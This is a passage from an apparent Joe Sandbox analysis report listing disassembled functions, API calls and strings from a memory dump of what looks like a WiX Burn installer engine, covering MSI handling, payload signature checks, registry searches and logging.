msuengine.cpp, xrefs: 00A3EEEF, 00A3EF3D, 00A3EF85
Failed to mark WU service to start on demand., xrefs: 00A3EFE5
Failed to read configuration for WU service., xrefs: 00A3EFC5
Failed to query status of WU service., xrefs: 00A3EF8F
Failed to open service control manager., xrefs: 00A3EEF9

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Service$ErrorLast$CloseHandleOpen$ChangeConfigManagerQueryStatus
String ID: Failed to mark WU service to start on demand.$Failed to open WU service.$Failed to open service control manager.$Failed to query status of WU service.$Failed to read configuration for WU service.$msuengine.cpp$wuauserv
API String ID: 2017831661-301359130
Opcode ID: d02ef0aa8aeee081f4d4cafeaf6270f5a2e9305b1a1309f7af00c70cdffbb698
Instruction ID: 78811826fbfa7699311728226a1a34edff74b7a74226759180580726024957dd
Opcode Fuzzy Hash: d02ef0aa8aeee081f4d4cafeaf6270f5a2e9305b1a1309f7af00c70cdffbb698
Instruction Fuzzy Hash: 72419032E50226ABDB21DBA5DC06BAEBAB4BF04751F110125F801F61D0D7B59C45CBA0

Function 00A5438A Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 66libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5309E: _memset.LIBCMT ref: 00A530C5
Part of subcall function 00A5309E: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00A530DA
Part of subcall function 00A5309E: LoadLibraryW.KERNELBASE(?,?,00000104,00A21C3B), ref: 00A53128
Part of subcall function 00A5309E: GetLastError.KERNEL32 ref: 00A53134

GetProcAddress.KERNEL32(MsiDeterminePatchSequenceW,0000011C), ref: 00A543B9
GetProcAddress.KERNEL32(MsiDetermineApplicablePatchesW), ref: 00A543D8
GetProcAddress.KERNEL32(MsiEnumProductsExW), ref: 00A543F7
GetProcAddress.KERNEL32(MsiGetPatchInfoExW), ref: 00A54416
GetProcAddress.KERNEL32(MsiGetProductInfoExW), ref: 00A54435
GetProcAddress.KERNEL32(MsiSetExternalUIRecord), ref: 00A54454
GetProcAddress.KERNEL32(MsiSourceListAddSourceExW), ref: 00A54473

Strings

MsiSourceListAddSourceExW, xrefs: 00A54468
MsiEnumProductsExW, xrefs: 00A543EC
MsiGetProductInfoExW, xrefs: 00A5442A
MsiSetExternalUIRecord, xrefs: 00A54449
MsiGetPatchInfoExW, xrefs: 00A5440B
Msi.dll, xrefs: 00A54391
MsiDeterminePatchSequenceW, xrefs: 00A543AE
MsiDetermineApplicablePatchesW, xrefs: 00A543CD

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressProc$DirectoryErrorLastLibraryLoadSystem_memset
String ID: Msi.dll$MsiDetermineApplicablePatchesW$MsiDeterminePatchSequenceW$MsiEnumProductsExW$MsiGetPatchInfoExW$MsiGetProductInfoExW$MsiSetExternalUIRecord$MsiSourceListAddSourceExW
API String ID: 3669249573-1735120554
Opcode ID: 8bfea28500cf8daf701de8dfb34d0bb776dbd2929e3b50a2d7add57bb18aa4b0
Instruction ID: 762d643e2b82b2818d8ae4aa4feb7ed6e255ca7fb388a4d59636d4e219fc9531
Opcode Fuzzy Hash: 8bfea28500cf8daf701de8dfb34d0bb776dbd2929e3b50a2d7add57bb18aa4b0
Instruction Fuzzy Hash: 6121E472998310AFD702DFA4AD45A2C3AA5F759B16710C8EBE80C96270E3F10CC2CF50

Function 00A30834 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 233COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A30852

Strings

Failed to read slipstream action., xrefs: 00A30A3F
Failed to find package: %ls, xrefs: 00A308A0
Failed to allocate memory for feature actions., xrefs: 00A30967
Failed to allocate memory for slipstream patch actions., xrefs: 00A309D7
Failed to read package log., xrefs: 00A308EB
Failed to read action., xrefs: 00A3087E
elevation.cpp, xrefs: 00A3095D, 00A309CD
Failed to read UI level., xrefs: 00A3090C
Failed to read rollback flag., xrefs: 00A30A5F
Failed to read feature action., xrefs: 00A309E1
Failed to read variables., xrefs: 00A30A38
Failed to execute MSI package., xrefs: 00A30A8A
Failed to read parent hwnd., xrefs: 00A308CA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to allocate memory for feature actions.$Failed to allocate memory for slipstream patch actions.$Failed to execute MSI package.$Failed to find package: %ls$Failed to read UI level.$Failed to read action.$Failed to read feature action.$Failed to read package log.$Failed to read parent hwnd.$Failed to read rollback flag.$Failed to read slipstream action.$Failed to read variables.$elevation.cpp
API String ID: 2102423945-2584093861
Opcode ID: fd20e993ec5f564c891cd5edd41ac9da2a3f84b4da5e877a3b260538286f7c3b
Instruction ID: bb7207e3ea9cadd827966cb7de7db2a28ac53e2048fcccb41ded7b7c2ee7c7e1
Opcode Fuzzy Hash: fd20e993ec5f564c891cd5edd41ac9da2a3f84b4da5e877a3b260538286f7c3b
Instruction Fuzzy Hash: 55718E32D00219FFDF11EF94DA92EEEB7B8BB08380F210562F911B7151E6319E559BA1

Function 00A38CA0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 155COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A38CFA

Part of subcall function 00A55CB1: SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,00A3819B,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00A55CC7
Part of subcall function 00A55CB1: GetLastError.KERNEL32(?,00A3819B,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00A39C6F,00000000,00000001,?), ref: 00A55CD1

WinVerifyTrust.WINTRUST(000000FF,00AAC56B,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00A38D56
WinVerifyTrust.WINTRUST(000000FF,00AAC56B,?,000000FF,00AAC56B,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00A38D70

Strings

Failed to get signer chain from authenticode certificate., xrefs: 00A38E36
Failed to get provider state from authenticode certificate., xrefs: 00A38DF3
cache.cpp, xrefs: 00A38D96, 00A38DE9, 00A38E2C
Failed to move file pointer to beginning of file., xrefs: 00A38D12
Failed to verify expected payload against actual certificate chain., xrefs: 00A38E4E
Failed authenticode verification of payload: %ls, xrefs: 00A38DA3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: TrustVerify$ErrorFileLastPointer_memset
String ID: Failed authenticode verification of payload: %ls$Failed to get provider state from authenticode certificate.$Failed to get signer chain from authenticode certificate.$Failed to move file pointer to beginning of file.$Failed to verify expected payload against actual certificate chain.$cache.cpp
API String ID: 2460818389-4294895434
Opcode ID: cd099f3392f89bd606940358338304db4668130bd034213021948522dcd2fd77
Instruction ID: abe64e1a199381b8dd35691b395e2ee3c10a396b4c9a210ce7ded3ef52679031
Opcode Fuzzy Hash: cd099f3392f89bd606940358338304db4668130bd034213021948522dcd2fd77
Instruction Fuzzy Hash: 0741F372D40315ABCB21DBE8DD45AEFBBB8AF55760F204629F914F7280DA78890487A0

Function 00A36102 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 151memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00A36122

Part of subcall function 00A360D2: GdipCreateBitmapFromResource.GDIPLUS(?,?,00000000), ref: 00A360ED

GetCursorPos.USER32(?), ref: 00A361BA
MonitorFromPoint.USER32(?,?,00000002), ref: 00A361D0
_memset.LIBCMT ref: 00A361EA
GetMonitorInfoW.USER32(00000000,?), ref: 00A361FA
CreateDCW.GDI32(DISPLAY,?,00000000,00000000), ref: 00A36211
GetDeviceCaps.GDI32(00000000,00000058), ref: 00A36226
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A3622E
ReleaseDC.USER32(00000000,00000000), ref: 00A36255

Strings

DISPLAY, xrefs: 00A3620C
splashscreen.cpp, xrefs: 00A3614A, 00A3617B
Failed to load the splash screen bitmap., xrefs: 00A36185
Failed to find the splash screen bitmap., xrefs: 00A36157

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CapsCreateDeviceFromGdipMonitor$AllocBitmapCursorInfoPointReleaseResource_memset
String ID: DISPLAY$Failed to find the splash screen bitmap.$Failed to load the splash screen bitmap.$splashscreen.cpp
API String ID: 1792097070-2523976841
Opcode ID: 531c68ffc81922ea0ea5769818e1ac1efab364ab2a5a087e23cacb4594fb8473
Instruction ID: 7619e0538dd38a9ed17b2fe067069fbae373a045031bbf6579e93d92c51fca3f
Opcode Fuzzy Hash: 531c68ffc81922ea0ea5769818e1ac1efab364ab2a5a087e23cacb4594fb8473
Instruction Fuzzy Hash: 0E413A71A00705AFD720DFB9DD86B9EB7F9BB44711F14852DB51AEB281DBB0E8048B50

Function 00A2785D Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 140registryCOMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27891
RegCloseKey.ADVAPI32(?,00000000,?,?,00A28BA0,?), ref: 00A279E7

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A278D9
RegQueryValueExW.ADVAPI32(?,?,00000000,00A28BA0,00000000,00000000,?,?,?,00000000,?,?,00000001,?,?,?), ref: 00A27926

Strings

Registry key not found. Key = '%ls'; variable = '%ls', xrefs: 00A278FC
Failed to format value string., xrefs: 00A278E4
Failed to set variable., xrefs: 00A279A1
Registry value not found. Key = '%ls', Value = '%ls', xrefs: 00A2796E
Failed to format key string., xrefs: 00A2789C
search.cpp, xrefs: 00A27957
RegistrySearchExists failed: ID '%ls', HRESULT 0x%x, xrefs: 00A279B6
Failed to open registry key. Key = '%ls', xrefs: 00A27906
Failed to query registry key value., xrefs: 00A27961

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open@16$CloseOpenQueryValue
String ID: Failed to format key string.$Failed to format value string.$Failed to open registry key. Key = '%ls'$Failed to query registry key value.$Failed to set variable.$Registry key not found. Key = '%ls'; variable = '%ls'$Registry value not found. Key = '%ls', Value = '%ls'$RegistrySearchExists failed: ID '%ls', HRESULT 0x%x$search.cpp
API String ID: 3932663376-1654530643
Opcode ID: e612b6f6b7f952d6c8c20f583137bd3f218c1025e1d74892286fe41def747f3b
Instruction ID: ca02d6a05bfb1d091182c3bc5e4185166d70ef85c92f569ff0419c904cb42f07
Opcode Fuzzy Hash: e612b6f6b7f952d6c8c20f583137bd3f218c1025e1d74892286fe41def747f3b
Instruction Fuzzy Hash: 4741A172904229FFCF11AF98EE85DAEBABAFB44301F10443EF601A2151D6764B949B11

Function 00A31DE9 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 118COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A31E0D
GetTempPathW.KERNEL32(00000104,?,?,00000001,00000009), ref: 00A31E3A
GetLastError.KERNEL32(?,00000001,00000009), ref: 00A31E44
GetCurrentProcessId.KERNEL32(?,?,00000104,?,?,00000001,00000009), ref: 00A31EA8
ProcessIdToSessionId.KERNEL32(00000000,?,00000001,00000009), ref: 00A31EAF

Strings

Failed to get temp folder., xrefs: 00A31E73
Failed to get length of temp folder., xrefs: 00A31E97
%u\, xrefs: 00A31EC9
logging.cpp, xrefs: 00A31E69
Failed to copy temp folder., xrefs: 00A31F5A
Failed to get length of session id string., xrefs: 00A31F01
Failed to format session id as a string., xrefs: 00A31EDD

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Process$CurrentErrorLastPathSessionTemp_memset
String ID: %u\$Failed to copy temp folder.$Failed to format session id as a string.$Failed to get length of session id string.$Failed to get length of temp folder.$Failed to get temp folder.$logging.cpp
API String ID: 1047854834-1016737523
Opcode ID: 2dd4998cad8a160aa9e0f9803e708c7e83df89f1658ee3de3cf9f3da40fb0b90
Instruction ID: 6ef09d349403e0c1c879476b5895b46bd4ac6ed7667ab8be0ec286da6642db9b
Opcode Fuzzy Hash: 2dd4998cad8a160aa9e0f9803e708c7e83df89f1658ee3de3cf9f3da40fb0b90
Instruction Fuzzy Hash: F5418772D8062CAACF20AB649D4DEFDB7B8BB50711F1006D5F819E3151EB705E858F90

Function 00A30611 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 200COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A3062B

Strings

Failed to read the list of ancestors., xrefs: 00A306FF
Failed to find package: %ls, xrefs: 00A3075A
Failed to allocate the list of ancestors., xrefs: 00A307AB
Failed to read the list of dependencies to ignore., xrefs: 00A306DE
Failed to execute EXE package., xrefs: 00A307D3
Failed to read rollback., xrefs: 00A3069C
Failed to read exe package execution mode., xrefs: 00A306BD
Failed to allocate the list of dependencies to ignore., xrefs: 00A30787
Failed to read variables., xrefs: 00A3071F
Failed to read action., xrefs: 00A3067B
Failed to read exe package., xrefs: 00A3065A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to allocate the list of ancestors.$Failed to allocate the list of dependencies to ignore.$Failed to execute EXE package.$Failed to find package: %ls$Failed to read action.$Failed to read exe package execution mode.$Failed to read exe package.$Failed to read rollback.$Failed to read the list of ancestors.$Failed to read the list of dependencies to ignore.$Failed to read variables.
API String ID: 2102423945-2912315823
Opcode ID: 7604c090b3b35825a0943f235e0ea45d14876a3d5ff71dac603bb7045bc75a9a
Instruction ID: 044b894768fd1dfd483d6ef547961670731c2e73eae39f9426a1edecdd6fd8a9
Opcode Fuzzy Hash: 7604c090b3b35825a0943f235e0ea45d14876a3d5ff71dac603bb7045bc75a9a
Instruction Fuzzy Hash: 86514B72C0092DBECF11EAA4CA92CFEB7BCAB64350F110562F911B3050E6715E959BD1

Function 00A29DF9 Relevance: 21.2, APIs: 2, Strings: 12, Instructions: 151COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000001,00A21D56,00000000,00000000,?,00A2A785,00A2222A,00A21E8E,00000000,00000001), ref: 00A29E06

Part of subcall function 00A28EB9: CompareStringW.KERNELBASE(0000007F,00001000,?,000000FF,?,000000FF,?,00000000,00000030,00A29885,?,00A2AE46,?,00000030,00000000,00000030), ref: 00A28EF2

LeaveCriticalSection.KERNEL32(00000001,00000008,WixBundleElevated,00000001,00000000,00000000,?,00A2A785,00A2222A,00A21E8E,00000000,00000001), ref: 00A29F88

Strings

Setting version variable '%ls' to value '%hu.%hu.%hu.%hu', xrefs: 00A29F0E
variable.cpp, xrefs: 00A29E8E
Setting hidden variable '%ls', xrefs: 00A29ECD
WixBundleElevated, xrefs: 00A29E37
Unsetting variable '%ls', xrefs: 00A29F29
Failed to set value of variable: %ls, xrefs: 00A29F76
Attempt to set built-in variable value: %ls, xrefs: 00A29E9B
Failed to insert variable '%ls'., xrefs: 00A29E56
Setting variable failed: ID '%ls', HRESULT 0x%x, xrefs: 00A29F9C
Failed to find variable value '%ls'., xrefs: 00A29E24
Setting string variable '%ls' to value '%ls', xrefs: 00A29F34
Setting numeric variable '%ls' to value %lld, xrefs: 00A29F4D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$CompareEnterLeaveString
String ID: Attempt to set built-in variable value: %ls$Failed to find variable value '%ls'.$Failed to insert variable '%ls'.$Failed to set value of variable: %ls$Setting hidden variable '%ls'$Setting numeric variable '%ls' to value %lld$Setting string variable '%ls' to value '%ls'$Setting variable failed: ID '%ls', HRESULT 0x%x$Setting version variable '%ls' to value '%hu.%hu.%hu.%hu'$Unsetting variable '%ls'$WixBundleElevated$variable.cpp
API String ID: 2612025200-3866887438
Opcode ID: 22661f7c6561de0fb9702fa278c959df08b61b3049e0631e03a3864a8c1a52c3
Instruction ID: 5574e9ea4dbd09f2955d33347592bb183535fa5fe91f9f515f8519b6f0e71d36
Opcode Fuzzy Hash: 22661f7c6561de0fb9702fa278c959df08b61b3049e0631e03a3864a8c1a52c3
Instruction Fuzzy Hash: 5251F231A00229BBDF159F48EE42EAB7B74FF14B11F008539FC099A291D372DA50DB91

Function 00A39264 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 120fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000005,00000000,00000003,08000000,00000000,00000000,00000000,?,?,00A39BE2,00000000,?,?,00000000), ref: 00A3927F
GetLastError.KERNEL32(?,?,00A39BE2,00000000,?,?,00000000,00000001,?,?,00000000,00000000,00000000,?,?,00A2F27A), ref: 00A3928D

Part of subcall function 00A38281: _memset.LIBCMT ref: 00A382AB

Part of subcall function 00A56090: Sleep.KERNEL32(00000000,?,?,00A37B8D,00000000,?,00000001,00000003,000007D0,?,?,00A39CB8,00000000,00000000,00000000,00000000), ref: 00A560A7

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000003,000007D0,?,?), ref: 00A39396

Strings

Failed to copy %ls to %ls, xrefs: 00A39385
cache.cpp, xrefs: 00A392B2
Failed to open payload in working path: %ls, xrefs: 00A392BD
Failed to move %ls to %ls, xrefs: 00A3936F
%ls payload from working path '%ls' to path '%ls', xrefs: 00A39340
Moving, xrefs: 00A3932E
Failed to verify payload hash: %ls, xrefs: 00A3931A
Copying, xrefs: 00A39335, 00A3933F
Failed to verify payload signature: %ls, xrefs: 00A392F6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLastSleep_memset
String ID: %ls payload from working path '%ls' to path '%ls'$Copying$Failed to copy %ls to %ls$Failed to move %ls to %ls$Failed to open payload in working path: %ls$Failed to verify payload hash: %ls$Failed to verify payload signature: %ls$Moving$cache.cpp
API String ID: 2828417756-1604654059
Opcode ID: 598e27de93fdae601ce3432b6267322516f74f123ca2fc1dd0407861292486bb
Instruction ID: 81e6e0c8e77d59c3c7238ada72435862830837839910b583dccc9c5dfc3dbe02
Opcode Fuzzy Hash: 598e27de93fdae601ce3432b6267322516f74f123ca2fc1dd0407861292486bb
Instruction Fuzzy Hash: 2131E6B2A81725BBEB3166658D06FAF392CFF51B51F104218FD05BA1C1DAB9DD0086F1

Function 00A343A6 Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 280COMMON

Download Yara Rule

Strings

Failed to lookup the bundle ID in the ancestors dictionary., xrefs: 00A34690
Unexpected relation type encountered during plan: %d, xrefs: 00A34686
Failed to create dictionary from ancestors array., xrefs: 00A34403
%ls;%ls, xrefs: 00A3449E
UX aborted plan related bundle., xrefs: 00A346AE
Failed to copy ancestors and self to related bundle ancestors., xrefs: 00A344B6
Failed to create string array from ancestors., xrefs: 00A343E2
plan.cpp, xrefs: 00A346A4
Failed to add the package provider key "%ls" to the planned list., xrefs: 00A346BF
Failed to copy self to related bundle ancestors., xrefs: 00A34697

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID:
String ID: %ls;%ls$Failed to add the package provider key "%ls" to the planned list.$Failed to copy ancestors and self to related bundle ancestors.$Failed to copy self to related bundle ancestors.$Failed to create dictionary from ancestors array.$Failed to create string array from ancestors.$Failed to lookup the bundle ID in the ancestors dictionary.$UX aborted plan related bundle.$Unexpected relation type encountered during plan: %d$plan.cpp
API String ID: 0-489706565
Opcode ID: 407eb42c9ab9835264c77bf72a2d787b851818efb8150072da242f577ae45515
Instruction ID: dff30d73c2ee5d22cd80faee37e0a271eac198b38f1857ff31458ff927c9f0d6
Opcode Fuzzy Hash: 407eb42c9ab9835264c77bf72a2d787b851818efb8150072da242f577ae45515
Instruction Fuzzy Hash: 7BA17A70A00706EFDF209FA4C982FAAB7B5FF19305F204929F952A7251D7B1AD50CB51

Function 00A2909F Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A290CD

Part of subcall function 00A29028: _memset.LIBCMT ref: 00A29040
Part of subcall function 00A29028: GetVersionExW.KERNEL32(?,?,00000000,00A290EC), ref: 00A2904F
Part of subcall function 00A29028: GetLastError.KERNEL32 ref: 00A29059

GetLastError.KERNEL32 ref: 00A290F0

Strings

Failed to set variant value., xrefs: 00A29275
variable.cpp, xrefs: 00A29115
Failed to get OS info., xrefs: 00A2911F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast_memset$Version
String ID: Failed to get OS info.$Failed to set variant value.$variable.cpp
API String ID: 3644159973-1971907631
Opcode ID: 04083ab1ca2e6756394d3a1d4e48c5f0cf62606eeacb4cd931e4c736089a037f
Instruction ID: 5b84e33079b08457cdd83834526d0c7fa478e7e80631c260146f1a031ca19092
Opcode Fuzzy Hash: 04083ab1ca2e6756394d3a1d4e48c5f0cf62606eeacb4cd931e4c736089a037f
Instruction Fuzzy Hash: 6E51DB71A00239FADB609B6DDC49FEF7AB8EB49B10F0045B9F945E7180D6748E81CB51

Function 00A39159 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000005,00000000,00000003,08000000,00000000,00000000,?,?,00A39B62,?,?,?,?,00000000), ref: 00A39173
GetLastError.KERNEL32(?,?,00A39B62,?,?,?,?,00000000,00000000,00000000,?,?,00A2F25B,?,?,?), ref: 00A39183

Part of subcall function 00A56090: Sleep.KERNEL32(00000000,?,?,00A37B8D,00000000,?,00000001,00000003,000007D0,?,?,00A39CB8,00000000,00000000,00000000,00000000), ref: 00A560A7

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000003,000007D0,?,?,?), ref: 00A39257

Strings

Failed to verify container hash: %ls, xrefs: 00A391DE
Failed to copy %ls to %ls, xrefs: 00A39246
cache.cpp, xrefs: 00A391A8
Failed to move %ls to %ls, xrefs: 00A39230
%ls container from working path '%ls' to path '%ls', xrefs: 00A39201
Moving, xrefs: 00A391F2
Copying, xrefs: 00A391F9, 00A39200
Failed to open container in working path: %ls, xrefs: 00A391B3

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLastSleep
